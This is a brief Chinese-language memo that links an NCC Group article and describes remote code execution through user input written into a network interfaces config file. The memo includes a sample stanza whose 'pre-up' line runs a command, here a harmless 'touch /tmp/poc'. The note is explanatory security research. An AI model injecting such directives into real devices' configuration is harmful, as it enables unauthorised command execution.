https://research.nccgroup.com/2020/02/10/interfaces-d-to-rce/
同樣也是個用戶輸入到配置文件導致rce的。不過這裏是到了/etc/interfaces.d/eth0這個文件,這裏通過pre-up可以直接設置要執行的命令
auto eth0 iface eth0 inet static address 192.168.0.250 netmask 255.255.255.0 gateway 192.168.0.1 pre-up touch /tmp/poc